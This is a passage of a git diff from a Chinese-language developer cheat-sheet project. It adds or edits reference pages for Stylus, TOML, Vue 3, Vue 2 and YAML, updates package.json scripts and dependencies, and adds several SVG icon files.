<!--rehype:className=wrap-text -->
|
||||
|
||||
另见: [embedurl](http://stylus-lang.com/docs/bifs.html#embedurlpath-encoding)
|
||||
|
||||
### 添加属性
|
||||
|
||||
```stylus
|
||||
gradient(color)
|
||||
add-property('background-image', linear-gradient(top, color, darken(color, 20%)))
|
||||
color
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
body
|
||||
background: gradient(red)
|
||||
```
|
||||
|
||||
另见: [add-property](http://stylus-lang.com/docs/bifs.html#add-propertyname-expr)
|
||||
|
||||
### sprintf
|
||||
|
||||
```stylus
|
||||
'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%))
|
||||
// → -webkit-gradient(linear, 0 0, 0 100%)
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
s("rgba(0, 0, 0, %s)", 0.3)
|
||||
```
|
||||
|
||||
另见: [s](http://stylus-lang.com/docs/bifs.html#sfmt-)
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
|
||||
- [Less.js 备忘清单](./lessjs.md) _(jaywcjlove.github.io)_
|
||||
1209
docs/swiftui.md
Normal file
1209
docs/swiftui.md
Normal file
File diff suppressed because it is too large
Load Diff
14
docs/toml.md
14
docs/toml.md
@ -12,6 +12,7 @@ TOML 备忘清单
|
||||
|
||||
- [Document](https://toml.io/en/latest) _(toml.io)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
|
||||
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
|
||||
|
||||
### 示例
|
||||
|
||||
@ -253,4 +254,15 @@ bat = "hi"
|
||||
name = { first = "Tom", last = "Preston-Werner" }
|
||||
point = { x = 1, y = 2 }
|
||||
animal = { type.name = "pug" }
|
||||
```
|
||||
```
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Document](https://toml.io/en/latest) _(toml.io)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
|
||||
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
|
||||
|
||||
|
||||
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
|
||||
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
|
||||
271
docs/vue.md
Normal file
271
docs/vue.md
Normal file
@ -0,0 +1,271 @@
|
||||
Vue 3 备忘清单
|
||||
===
|
||||
|
||||
渐进式 JavaScript 框架 [Vue 3](https://cn.vuejs.org/) 备忘清单的快速参考列表，包含常用 API 和示例。
|
||||
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
Vue 是一套用于构建用户界面的渐进式框架
|
||||
|
||||
- [Vue 3.x 官方文档](https://cn.vuejs.org/)
|
||||
- [Vue Router 4.x 官方文档](https://router.vuejs.org/zh/)
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
注意：Vue 3.x 版本对应 Vue Router 4.x 路由版本
|
||||
|
||||
### 创建应用
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
已安装 `16.0` 或更高版本的 Node.js
|
||||
|
||||
```bash
|
||||
$ npm init vue@latest
|
||||
```
|
||||
|
||||
指令将会安装并执行 [create-vue](https://www.npmjs.com/package/create-vue)，它是 Vue 官方的项目脚手架工具
|
||||
|
||||
```bash
|
||||
✔ Project name: … <your-project-name>
|
||||
✔ Add TypeScript? … No/Yes
|
||||
✔ Add JSX Support? … No/Yes
|
||||
✔ Add Vue Router for Single Page Application development? … No/Yes
|
||||
✔ Add Pinia for state management? … No/Yes
|
||||
✔ Add Vitest for Unit testing? … No/Yes
|
||||
✔ Add Cypress for both Unit and End-to-End testing? … No/Yes
|
||||
✔ Add ESLint for code quality? … No/Yes
|
||||
✔ Add Prettier for code formatting? … No/Yes
|
||||
|
||||
Scaffolding project in ./<your-project-name>...
|
||||
Done.
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
安装依赖并启动开发服务器
|
||||
|
||||
```bash
|
||||
$ cd <your-project-name>
|
||||
$ npm install
|
||||
$ npm run dev
|
||||
```
|
||||
|
||||
当你准备将应用发布到生产环境时，请运行：
|
||||
|
||||
```bash
|
||||
$ npm run build
|
||||
```
|
||||
|
||||
此命令会在 `./dist` 文件夹中为你的应用创建一个生产环境的构建版本
|
||||
|
||||
### 应用实例
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```js
|
||||
import { createApp } from 'vue'
|
||||
|
||||
const app = createApp({
|
||||
data() {
|
||||
return { count: 0 }
|
||||
}
|
||||
})
|
||||
app.mount('#app')
|
||||
```
|
||||
|
||||
挂载应用
|
||||
|
||||
```html
|
||||
<div id="app">
|
||||
<button @click="count++">
|
||||
{{ count }}
|
||||
</button>
|
||||
</div>
|
||||
```
|
||||
|
||||
### 通过 CDN 使用 Vue
|
||||
|
||||
```html
|
||||
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
|
||||
<div id="app">{{ message }}</div>
|
||||
<script>
|
||||
const { createApp } = Vue
|
||||
createApp({
|
||||
data() {
|
||||
return {
|
||||
message: 'Hello Vue!'
|
||||
}
|
||||
}
|
||||
}).mount('#app')
|
||||
</script>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 使用 ES 模块构建版本
|
||||
|
||||
```html
|
||||
<div id="app">{{ message }}</div>
|
||||
<script type="module">
|
||||
import { createApp } from 'https://unpkg.com/vue@3/dist/vue.esm-browser.js'
|
||||
createApp({
|
||||
data() {
|
||||
return {
|
||||
message: 'Hello Vue!'
|
||||
}
|
||||
}
|
||||
}).mount('#app')
|
||||
</script>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
模板语法
|
||||
---
|
||||
|
||||
### 文本插值
|
||||
|
||||
```html
|
||||
<span>Message: {{ msg }}</span>
|
||||
```
|
||||
|
||||
使用的是 `Mustache` 语法 (即双大括号)，每次 `msg` 属性更改时它也会同步更新
|
||||
|
||||
### 原始 HTML
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```html
|
||||
<p>Using text interpolation: {{ rawHtml }}</p>
|
||||
<p>Using v-html directive: <span v-html="rawHtml"></span></p>
|
||||
```
|
||||
|
||||
双大括号`{{}}`会将数据解释为纯文本，使用 `v-html` 指令，将插入 HTML
|
||||
|
||||
### Attribute 绑定
|
||||
|
||||
```html
|
||||
<div v-bind:id="dynamicId"></div>
|
||||
```
|
||||
|
||||
简写
|
||||
|
||||
```html
|
||||
<div :id="dynamicId"></div>
|
||||
```
|
||||
|
||||
### 布尔型 Attribute
|
||||
|
||||
```html
|
||||
<button :disabled="isButtonDisabled">
|
||||
Button
|
||||
</button>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 动态绑定多个值
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```js
|
||||
data() {
|
||||
return {
|
||||
objectOfAttrs: {
|
||||
id: 'container',
|
||||
class: 'wrapper'
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
通过不带参数的 `v-bind`，你可以将它们绑定到单个元素上
|
||||
|
||||
```html
|
||||
<div v-bind="objectOfAttrs"></div>
|
||||
```
|
||||
|
||||
### 使用 JavaScript 表达式
|
||||
|
||||
```html
|
||||
{{ number + 1 }}
|
||||
{{ ok ? 'YES' : 'NO' }}
|
||||
{{ message.split('').reverse().join('') }}
|
||||
|
||||
<div :id="`list-${id}`"></div>
|
||||
```
|
||||
|
||||
### 仅支持表达式(例子都是无效)
|
||||
|
||||
```html
|
||||
<!-- 这是一个语句，而非表达式 -->
|
||||
{{ var a = 1 }}
|
||||
<!-- 条件控制也不支持，请使用三元表达式 -->
|
||||
{{ if (ok) { return message } }}
|
||||
```
|
||||
|
||||
### 调用函数
|
||||
|
||||
```html
|
||||
<span :title="toTitleDate(date)">
|
||||
{{ formatDate(date) }}
|
||||
</span>
|
||||
```
|
||||
|
||||
|
||||
### 指令 Directives
|
||||
|
||||
```html
|
||||
<p v-if="seen">Now you see me</p>
|
||||
```
|
||||
|
||||
### 参数 Arguments
|
||||
|
||||
```html
|
||||
<a v-bind:href="url"> ... </a>
|
||||
<!-- 简写 -->
|
||||
<a :href="url"> ... </a>
|
||||
```
|
||||
|
||||
### 绑定事件
|
||||
|
||||
```html
|
||||
<a v-on:click="doSomething"> ... </a>
|
||||
<!-- 简写 -->
|
||||
<a @click="doSomething"> ... </a>
|
||||
```
|
||||
|
||||
### 动态参数
|
||||
|
||||
```html
|
||||
<a v-bind:[attributeName]="url"> ... </a>
|
||||
<!-- 简写 -->
|
||||
<a :[attributeName]="url"> ... </a>
|
||||
```
|
||||
|
||||
这里的 `attributeName` 会作为一个 JS 表达式被动态执行
|
||||
|
||||
### 动态的事件名称
|
||||
|
||||
```html
|
||||
<a v-on:[eventName]="doSomething"> ... </a>
|
||||
<!-- 简写 -->
|
||||
<a @[eventName]="doSomething">
|
||||
```
|
||||
|
||||
### 修饰符 Modifiers
|
||||
|
||||
```html
|
||||
<form @submit.prevent="onSubmit">
|
||||
...
|
||||
</form>
|
||||
```
|
||||
|
||||
`.prevent` 修饰符会告知 `v-on` 指令对触发的事件调用 `event.preventDefault()`
|
||||
|
||||
### 指令语法
|
||||
|
||||
```bash
|
||||
v-on:submit.prevent="onSubmit"
|
||||
──┬─ ─┬──── ─┬───── ─┬──────
|
||||
┆ ┆ ┆ ╰─ Value 解释为JS表达式
|
||||
┆ ┆ ╰─ Modifiers 由前导点表示
|
||||
┆ ╰─ Argument 跟随冒号或速记符号
|
||||
╰─ Name 以 v- 开头使用速记时可以省略
|
||||
```
|
||||
@ -1,7 +1,7 @@
|
||||
Vue2 备忘清单
|
||||
===
|
||||
|
||||
渐进式 JavaScript 框架 Vue 2 备忘清单的快速参考列表，包含常用 API 和示例。
|
||||
渐进式 JavaScript 框架 [Vue 2](https://v2.cn.vuejs.org/) 备忘清单的快速参考列表，包含常用 API 和示例。
|
||||
|
||||
入门
|
||||
---
|
||||
@ -14,6 +14,8 @@ Vue 是一套用于构建用户界面的渐进式框架
|
||||
- [Vue Router 3.x 官方文档](https://v3.router.vuejs.org/)
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
注意：Vue 2.x 版本对应 Vue Router 3.x 路由版本
|
||||
|
||||
#### 快速创建 **Vue** 项目 ([Vue CLI](https://cli.vuejs.org/zh/guide/creating-a-project.html))
|
||||
|
||||
```bash
|
||||
|
||||
12
docs/yaml.md
12
docs/yaml.md
@ -426,9 +426,9 @@ YAML 参考
|
||||
`"` | 环绕内嵌转义标量
|
||||
`|` | 块标量指示器
|
||||
`>` | 折叠标量指示器
|
||||
`-` | 剥离 chomp 修饰符（`|-` 或 `>-`）
|
||||
`+` | 保留 chomp 修饰符（`|+` 或 `>+`）
|
||||
`1-9` | 显式缩进修饰符（`|1` 或 `>2`）。 <br/> 修饰符可以组合（`|2-`, `>+1`）
|
||||
`-` | 剥离 chomp 修饰符（`\|-` 或 `>-`）
|
||||
`+` | 保留 chomp 修饰符（`\|+` 或 `>+`）
|
||||
`1-9` | 显式缩进修饰符（`\|1` 或 `>2`）。 <br/> 修饰符可以组合（`\|2-`, `>+1`）
|
||||
|
||||
### 标签属性（通常未指定）
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -441,6 +441,7 @@ YAML 参考
|
||||
`!!foo` | 次要的（按照惯例，表示 `tag:yaml.org,2002:foo`）
|
||||
`!h!foo` | 需要 `%TAG !h! <prefix>`（然后表示 `<prefix>foo`）
|
||||
`!<foo>` | 逐字标记（始终表示“foo”）
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 杂项指标
|
||||
|
||||
@ -515,10 +516,13 @@ YAML 参考
|
||||
| `[.inf, -.Inf, .NAN]` | [无穷大（浮点数），负数，不是数字] |
|
||||
| `{Y, true, Yes, ON}` | 布尔真 |
|
||||
| `{n, FALSE, No, off}` | 布尔假 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [YAML Reference Card](https://yaml.org/refcard.html) _(yaml.org)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/yaml/) _(learnxinyminutes.com)_
|
||||
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
|
||||
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
|
||||
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
|
||||
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
|
||||
16
package.json
16
package.json
@ -1,31 +1,39 @@
|
||||
{
|
||||
"name": "@wcj/reference",
|
||||
"version": "1.6.0",
|
||||
"version": "1.11.1",
|
||||
"description": "为开发人员分享快速参考备忘单(主要是方便自己)。",
|
||||
"author": "jaywcjlove",
|
||||
"license": "MIT",
|
||||
"homepage": "https://jaywcjlove.github.io/reference",
|
||||
"private": false,
|
||||
"scripts": {
|
||||
"prepare": "husky install",
|
||||
"build": "node scripts/build.mjs",
|
||||
"start": "node scripts/watch.mjs"
|
||||
"start": "node scripts/watch.mjs",
|
||||
"prettier": "prettier --write '**/*.{mjs,css,json,prettierrc,lintstagedrc}'"
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "git+https://github.com/jaywcjlove/reference.git"
|
||||
"url": "https://github.com/jaywcjlove/reference.git"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/jaywcjlove/reference/issues"
|
||||
},
|
||||
"keywords": [],
|
||||
"devDependencies": {
|
||||
"@wcj/markdown-to-html": "^2.1.0",
|
||||
"@wcj/markdown-to-html": "^2.1.1",
|
||||
"chokidar": "^3.5.3",
|
||||
"fs-extra": "^10.1.0",
|
||||
"husky": "^8.0.1",
|
||||
"lint-staged": "^13.0.3",
|
||||
"prettier": "^2.7.1",
|
||||
"recursive-readdir-files": "^2.3.0",
|
||||
"rehype-autolink-headings": "^6.1.1",
|
||||
"rehype-document": "^6.1.0",
|
||||
"rehype-slug": "^5.0.1",
|
||||
"remark-gemoji": "^7.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=16.0.0"
|
||||
}
|
||||
}
|
||||
|
||||
3
scripts/assets/colors-named.svg
Normal file
3
scripts/assets/colors-named.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
|
||||
<path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" style="fill:#231f20" id="color-palette-2"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 555 B |
2
scripts/assets/lessjs.svg
Normal file
2
scripts/assets/lessjs.svg
Normal file
@ -0,0 +1,2 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 210 90">
|
||||
<path d="M201.009375,32.7796875 C201.009375,26.053125 202.059375,22.0828125 202.059375,14.8640625 C202.059375,3.6421875 197.925,0.0328125 188.770313,0.0328125 L182.04375,0.0328125 L182.04375,7.9734375 L184.110938,7.9734375 C188.770313,7.9734375 189.7875,9.515625 189.7875,15.225 C189.7875,20.5734375 189.2625,25.921875 189.2625,32.1234375 C189.2625,40.0640625 191.854687,43.1484375 197.00625,44.3625 L197.00625,44.8875 C191.821875,46.1015625 189.2625,49.1859375 189.2625,57.1265625 C189.2625,63.328125 189.7875,68.3484375 189.7875,74.025 C189.7875,79.8984375 188.573437,81.440625 184.110938,81.440625 L184.110938,81.6046875 L182.04375,81.6046875 L182.04375,89.8734375 L188.770313,89.8734375 C197.892188,89.8734375 202.059375,86.2640625 202.059375,75.0421875 C202.059375,67.6265625 201.009375,63.8203125 201.009375,57.1265625 C201.009375,53.5171875 203.240625,49.7109375 209.967187,49.3828125 L209.967187,40.425 C203.240625,40.1953125 201.009375,36.3890625 201.009375,32.7796875 Z M166.359375,43.2796875 C161.175,41.2125 156.351562,39.9984375 156.351562,36.553125 C156.351562,33.9609375 158.41875,32.41875 162.225,32.41875 C166.03125,32.41875 169.476562,33.9609375 173.25,36.7171875 L180.140625,27.5953125 C175.842187,24.3140625 169.96875,20.86875 162.028125,20.86875 C150.314063,20.86875 142.373438,27.5953125 142.373438,37.078125 C142.373438,45.5109375 149.789063,49.8421875 155.990625,52.2375 C161.339063,54.3046875 166.523438,56.04375 166.523438,59.4890625 C166.523438,62.08125 164.45625,63.7875 159.796875,63.7875 C155.498438,63.7875 151.167188,62.0484375 146.507813,58.4390625 L139.617188,68.446875 C144.801563,72.7453125 152.709375,75.6984375 159.271875,75.6984375 C173.053125,75.6984375 180.46875,68.446875 180.46875,58.9640625 C180.46875,49.48125 173.085938,45.5109375 166.359375,43.2796875 L166.359375,43.2796875 Z M48.5953125,62.7703125 C47.38125,62.7703125 45.8390625,61.7203125 45.8390625,58.471875 L45.8390625,7.10542736e-15 L21.3609375,7.10542736e-15 C12.0421875,7.10542736e-15 7.9078125,3.609375 7.9078125,14.83125 C7.9078125,22.246875 8.9578125,26.38125 8.9578125,32.746875 C8.9578125,36.35625 6.7265625,40.1625 -6.99440506e-15,40.490625 L-6.99440506e-15,49.4484375 C6.7265625,49.6125 8.9578125,53.41875 8.9578125,57.028125 C8.9578125,63.39375 7.9078125,67.2 7.9078125,74.615625 C7.9078125,85.8375 12.0421875,89.446875 21.196875,89.446875 L27.9234375,89.446875 L27.9234375,81.50625 L25.85625,81.50625 C21.5578125,81.50625 20.1796875,79.7671875 20.1796875,74.090625 C20.1796875,68.4140625 20.7046875,63.5578125 20.7046875,57.1921875 C20.7046875,49.2515625 18.1125,46.1671875 12.9609375,44.953125 L12.9609375,44.428125 C18.1453125,43.2140625 20.7046875,40.1296875 20.7046875,32.1890625 C20.7046875,25.9875 20.1796875,20.9671875 20.1796875,15.290625 C20.1796875,9.6140625 21.39375,8.0390625 25.85625,8.0390625 L30.4828125,8.0390625 L30.4828125,57.5203125 C30.4828125,68.053125 34.0921875,74.94375 44.625,74.94375 C47.90625,74.94375 50.4984375,74.41875 52.36875,73.7296875 L50.6296875,62.5078125 C49.6125,62.7703125 49.1203125,62.7703125 48.5953125,62.7703125 Z M124.621875,43.2796875 C119.273437,41.2125 114.45,39.9984375 114.45,36.553125 C114.45,33.9609375 116.517187,32.41875 120.323437,32.41875 C124.129687,32.41875 127.575,33.9609375 131.348437,36.7171875 L138.239062,27.5953125 C133.940625,24.3140625 128.067187,20.86875 120.126562,20.86875 C108.4125,20.86875 100.471875,27.5953125 100.471875,37.078125 C100.471875,45.5109375 107.8875,49.8421875 114.089062,52.2375 C119.4375,54.3046875 124.621875,56.04375 124.621875,59.4890625 C124.621875,62.08125 122.554687,63.7875 117.895312,63.7875 C113.596875,63.7875 109.265625,62.0484375 104.60625,58.4390625 L97.8796875,68.446875 C103.064062,72.7453125 110.971875,75.6984375 117.534375,75.6984375 C131.315625,75.6984375 138.731358,68.446875 138.731358,58.9640625 C138.764062,49.48125 131.348437,45.5109375 124.621875,43.2796875 Z M73.7625,20.7046875 C61.1625,20.7046875 49.1203125,31.2375 49.4484375,47.775 C49.4484375,64.8375 60.6703125,74.8453125 75.46875,74.8453125 C81.6703125,74.8453125 88.5609375,72.6140625 93.909375,68.971875 L88.725,59.85 C84.91875,62.08125 81.309375,63.13125 77.503125,63.13125 C70.6125,63.13125 65.2640625,59.85 63.8859375,51.909375 L95.1234375,51.909375 C95.2875,50.6953125 95.6484375,48.3 95.6484375,45.54375 C95.8453125,31.565625 88.2328125,20.7046875 73.7625,20.7046875 L73.7625,20.7046875 Z M63.91875,42.4265625 C64.96875,35.5359375 69.103125,32.2546875 73.9265625,32.2546875 C80.128125,32.2546875 82.55625,36.553125 82.55625,42.4265625 L63.91875,42.4265625 L63.91875,42.4265625 Z" transform="translate(.033 .08)"/></svg>
|
||||
|
After Width: | Height: | Size: 4.6 KiB |
3
scripts/assets/menu.svg
Normal file
3
scripts/assets/menu.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg aria-hidden="true" fill="currentColor" height="1em" width="1em" viewBox="0 0 16 16" version="1.1" data-view-component="true">
|
||||
<path fill-rule="evenodd" d="M2 4a1 1 0 100-2 1 1 0 000 2zm3.75-1.5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zm0 5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zm0 5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zM3 8a1 1 0 11-2 0 1 1 0 012 0zm-1 6a1 1 0 100-2 1 1 0 000 2z"></path>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 416 B |
2
scripts/assets/mysql.svg
Normal file
2
scripts/assets/mysql.svg
Normal file
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 5.8 KiB |
3
scripts/assets/netcat.svg
Normal file
3
scripts/assets/netcat.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 30 27">
|
||||
<path fill="currentColor" fill-rule="evenodd" d="M24.1575957,7.91399838 C19.6909292,2.9579985 10.7162627,2.9579985 6.2509295,7.91399838 C4.72692954,9.60599833 4.04826289,11.7206649 4.28826288,14.0313316 C4.61226288,17.1499981 5.87759618,19.8033314 7.83359613,21.6193314 C7.8642628,21.0966647 7.86159613,20.4646647 7.78559613,19.6833314 L7.46692947,16.4099982 L10.3602627,17.9726648 C13.4069293,19.6179981 17.0002626,19.6179981 20.0455958,17.9726648 L22.9389291,16.4099982 L22.6215958,19.6833314 C22.5442624,20.4646647 22.5429291,21.0966647 22.5735958,21.6193314 C24.5295957,19.8033314 25.794929,17.1499981 26.118929,14.0313316 C26.358929,11.7206649 25.682929,9.60599833 24.1575957,7.91399838 M29.6015956,14.3926649 C29.0642623,19.5833314 26.430929,23.8366646 22.3789291,26.0646646 L21.1455958,26.7433312 L20.2189292,25.6833313 C20.1015958,25.5486646 19.2989292,24.5486646 19.0975958,22.153998 C16.7162626,22.8913313 13.6909293,22.8913313 11.3109294,22.153998 C11.109596,24.5486646 10.3069294,25.5486646 10.1895961,25.6833313 L9.26159609,26.7433312 L8.02826279,26.0646646 C3.97626289,23.837998 1.34426296,19.5833314 0.805596305,14.3926649 C0.46426298,11.1153316 1.47492962,7.98333171 3.64959623,5.56999844 C9.51359609,-0.934001402 20.8949291,-0.934001402 26.7575957,5.56999844 C28.9335956,7.98333171 29.9429289,11.1153316 29.6015956,14.3926649" transform="matrix(1 0 0 -1 0 27.435)"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.4 KiB |
7
scripts/assets/netstat.svg
Normal file
7
scripts/assets/netstat.svg
Normal file
@ -0,0 +1,7 @@
|
||||
<svg viewBox="0 0 36 36" xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
|
||||
<path d="M26.58 32h-18a1 1 0 1 0 0 2h18a1 1 0 0 0 0-2Z"/>
|
||||
<path d="M31.73 15.4h-6.17a18.87 18.87 0 0 1-1.62 2.52 2.33 2.33 0 0 1 .33 1.19 22 22 0 0 0 5 .45 11.88 11.88 0 0 1-.61 1.53h-.56a17.41 17.41 0 0 1-4.32-.56 2.29 2.29 0 0 1-3 .62 18.43 18.43 0 0 1-7 3.5 2.34 2.34 0 0 1-1.57 1.79l-.29.06a11.93 11.93 0 0 1-3.39-2.8h.66a2.33 2.33 0 0 1 4.37-.58A16.94 16.94 0 0 0 19.78 20a2.32 2.32 0 0 1-.18-1.17c-.42-.24-.84-.49-1.25-.76a17.53 17.53 0 0 1-5.35-5.6 2.31 2.31 0 0 1-2.28-.63 27.31 27.31 0 0 0-5 4.74v-.57a12 12 0 0 1 .14-1.73 18.75 18.75 0 0 1 4.2-3.8 2.28 2.28 0 0 1 1.1-2.25c-.12-.43-.24-.86-.33-1.3 0-.14 0-.29-.11-.64a12 12 0 0 1 1.37-.87c.1.59.14.9.21 1.21s.2.85.32 1.27h.25a2.33 2.33 0 0 1 1.13.63 18.59 18.59 0 0 1 6.39-1L23 3A14 14 0 0 0 3.75 16c0 .45 0 .89.07 1.33A14 14 0 0 0 31.76 16c0-.2-.02-.4-.03-.6Z" />
|
||||
<path d="M14.26 11.64a16 16 0 0 0 4.93 5.23c.34.23.69.43 1 .63a2.28 2.28 0 0 1 2.58-.57 17.29 17.29 0 0 0 1-1.54h-1.6A3.68 3.68 0 0 1 19 9.89l.56-.89a17.08 17.08 0 0 0-4.84.88 2.25 2.25 0 0 1-.47 1.77Z" />
|
||||
<path d="M26.85 1.14 21.13 11a1.28 1.28 0 0 0 1.1 2h11.45a1.28 1.28 0 0 0 1.1-2l-5.72-9.86a1.28 1.28 0 0 0-2.21 0Z"/>
|
||||
<path fill="none" d="M0 0h36v36H0z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
3
scripts/assets/sass.svg
Normal file
3
scripts/assets/sass.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 64 64" height="1em" width="1em">
|
||||
<path d="M55.094 35.56a13.19 13.19 0 0 0-5.8 1.35c-.6-1.188-1.2-2.225-1.3-3-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588a14.36 14.36 0 0 0-.538 1.913c-.225 1.175-2.575 5.338-3.913 7.526-.438-.85-.813-1.6-.888-2.2-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588-.263 1.138-.538 1.913c-.263.775-3.388 7.726-4.2 9.538-.413.925-.775 1.663-1.038 2.163s-.012.038-.037.088l-.35.663v.012c-.175.313-.363.613-.45.613-.062 0-.188-.838.025-1.988.463-2.413 1.588-6.176 1.575-6.313 0-.062.213-.725-.725-1.063-.913-.338-1.238.225-1.313.225s-.138.2-.138.2 1.013-4.238-1.938-4.238c-1.85 0-4.4 2.013-5.663 3.85l-6.376 3.488-.138-.15C11.178 35.66 4.565 32.96 4.84 27.835c.1-1.863.75-6.776 12.7-12.726 9.788-4.875 17.627-3.538 18.99-.563 1.938 4.25-4.188 12.15-14.364 13.29-3.875.438-5.913-1.063-6.426-1.625-.538-.588-.613-.613-.813-.5-.325.175-.125.7 0 1.013.3.788 1.55 2.188 3.675 2.888 1.863.613 6.413.95 11.914-1.175 6.163-2.388 10.976-9.013 9.563-14.55-1.438-5.638-10.788-7.488-19.627-4.35C15.19 11.41 9.5 14.334 5.4 18.172.515 22.722-.26 26.698.064 28.348c1.138 5.888 9.25 9.726 12.5 12.564l-.45.25c-1.625.8-7.813 4.038-9.363 7.463-1.75 3.875.275 6.663 1.625 7.038 4.175 1.163 8.45-.925 10.763-4.363 2.3-3.438 2.025-7.9.963-9.938l-.038-.075 1.275-.75a74.573 74.573 0 0 1 2.35-1.325c-.4 1.088-.688 2.375-.838 4.25-.175 2.2.725 5.05 1.913 6.176.525.488 1.15.5 1.538.5 1.375 0 2-1.138 2.688-2.5.85-1.663 1.6-3.588 1.6-3.588s-.938 5.213 1.625 5.213c.938 0 1.875-1.213 2.3-1.838v.012s.025-.038.075-.125c.1-.15.15-.238.15-.238v-.025c.375-.65 1.213-2.138 2.463-4.6 1.613-3.175 3.163-7.15 3.163-7.15s.15.975.613 2.575c.275.95.875 1.988 1.338 3l-.6.825.012.013a35.62 35.62 0 0 1-.988 1.25c-1.275 1.525-2.8 3.263-3 3.763-.238.588-.188 1.025.275 1.375.338.25.938.3 1.575.25 1.15-.075 1.95-.363 2.35-.538a8.14 8.14 0 0 0 2.025-1.063c1.25-.925 2.013-2.238 1.938-3.988-.038-.963-.35-1.913-.738-2.813l.338-.5c1.975-2.888 3.5-6.063 3.5-6.063s.15.975.613 2.575c.238.813.713 1.7 1.138 2.575-1.85 1.513-3.013 3.263-3.413 4.413-.738 2.125-.163 3.088.925 3.313.488.1 1.188-.125 1.713-.35a7.76 7.76 0 0 0 2.163-1.113c1.25-.925 2.45-2.213 2.388-3.95-.038-.8-.25-1.588-.538-2.338 1.575-.65 3.613-1.025 6.2-.713 5.563.65 6.663 4.125 6.45 5.575s-1.375 2.25-1.763 2.5c-.388.238-.513.325-.475.5.05.263.225.25.563.2.463-.075 2.925-1.188 3.025-3.863.15-3.438-3.113-7.188-8.9-7.15zM12.19 50.025c-1.838 2.013-4.425 2.775-5.525 2.125-1.188-.688-.725-3.65 1.538-5.788 1.375-1.3 3.163-2.5 4.338-3.238l1.138-.688c.075-.05.125-.075.125-.075.088-.05.188-.113.288-.175.838 3.05.038 5.725-1.9 7.838zm13.44-9.138c-.638 1.563-1.988 5.575-2.8 